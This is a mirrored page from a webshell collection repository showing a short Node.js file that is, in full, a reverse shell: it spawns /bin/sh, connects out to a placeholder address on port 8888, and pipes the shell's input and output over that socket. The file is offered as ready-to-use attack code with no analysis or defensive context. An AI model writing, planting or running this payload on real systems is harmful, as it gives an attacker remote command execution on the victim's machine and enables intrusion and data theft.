mirror of
https://github.com/tennc/webshell
synced 2024-11-10 13:44:18 +00:00
12 lines
No EOL
287 B
JavaScript
12 lines
No EOL
287 B
JavaScript
(function(){
|
|
var net = require("net"),
|
|
cp = require("child_process"),
|
|
sh = cp.spawn("/bin/sh",[]);
|
|
var client = new net.Socket();
|
|
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
|
|
client.pipe(sh.stdin);
|
|
sh.stdout.pipe(client);
|
|
sh.stderr.pipe(client);
|
|
});
|
|
return /a/;
|
|
})(); |